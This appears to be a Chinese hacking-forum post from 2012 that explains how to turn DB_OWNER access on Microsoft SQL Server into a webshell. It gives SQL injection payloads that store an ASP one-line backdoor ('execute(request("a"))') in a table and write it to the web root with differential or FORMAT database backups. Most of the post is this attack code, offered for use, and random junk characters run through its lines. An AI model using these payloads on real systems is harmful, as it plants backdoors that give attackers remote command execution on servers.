找回密码
 立即注册
查看: 2715|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:; K# f: {: g  B8 M' R3 O
; B/ P4 b7 ?, D$ N$ ?. c$ m
减少备份文件大小,得到可执行的webshell成功率提高不少- k/ K; Q" h' W# K5 N6 ~, v9 y  P# k
一利用差异备份
2 N, ~; `# U1 e1 P4 X5 m$ |1 {+ y/ e加一个参数WITH DIFFERENTIAL, n- f. C3 B" p

, P0 G% G, x5 @- q- h* M1
9 k1 T  Q6 \# d0 p4 F3 |4 S5 b& t2 V28 v1 f, S/ P, e; @  f
3% o& u8 o; Q; f
4
! Z! m% c5 c0 }& E* M5 @ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s5 g1 P! I2 r: T' T
create table [dbo].[xiaolu] ([cmd] [image]);
- c. w8 ~1 Y1 p3 \, e1 N6 {insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
: C, v+ v' L0 }  F' y0 M5 A7 Qdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
  R0 n5 n  k7 q9 c3 P6 X- T. E& A- y+ t# k
二利用完全FORMAT
; X0 f6 Y$ @2 _' A0 c加一个参数WITH FROMAT
5 l3 y( Y) H9 e7 p有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以" n9 d+ v8 K9 X2 }" o) J% {# J

. k# K3 T7 G7 s. k9 u' V" F2 p1
1 a0 u4 G, }' ~' R4 S0 H2% S5 S/ a; t; i- c
3
0 A$ S- x* t0 @: N0 T6 H4 f4
; N" v# j. `; ^# M5 ~ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s" D% e9 K& T1 }+ ^" X6 K, M
create table [dbo].[xiaolu] ([cmd] [image]);) ~" _; w6 m# M* Y
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E), [5 j: T% V2 W, ?
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 0 n/ Z$ h) s% a/ U: F

9 i4 [. z8 y) x总的来说就是那么简单几句,下面以备份数据库model为例子# }' M% ?: u3 P: _  b+ x
1
% `, W4 v+ S  V' S0 |8 q, |5 \6 J# f7 ~
1
0 c) U( X/ O/ y/ O id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 1 \( b0 F4 Y- \5 n9 t
: z/ ~. G( G: k( O/ U' r
2! C9 e4 J2 q" \: u1 U
3 P) b: W9 T$ P6 t! j+ P% U' w
1( y) c9 F" B* u$ `6 j+ R6 W
id=1;backup database model to disk='你的路径‘ with differential,format;--   f6 F& T9 w8 ]$ R. S  D4 T* k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表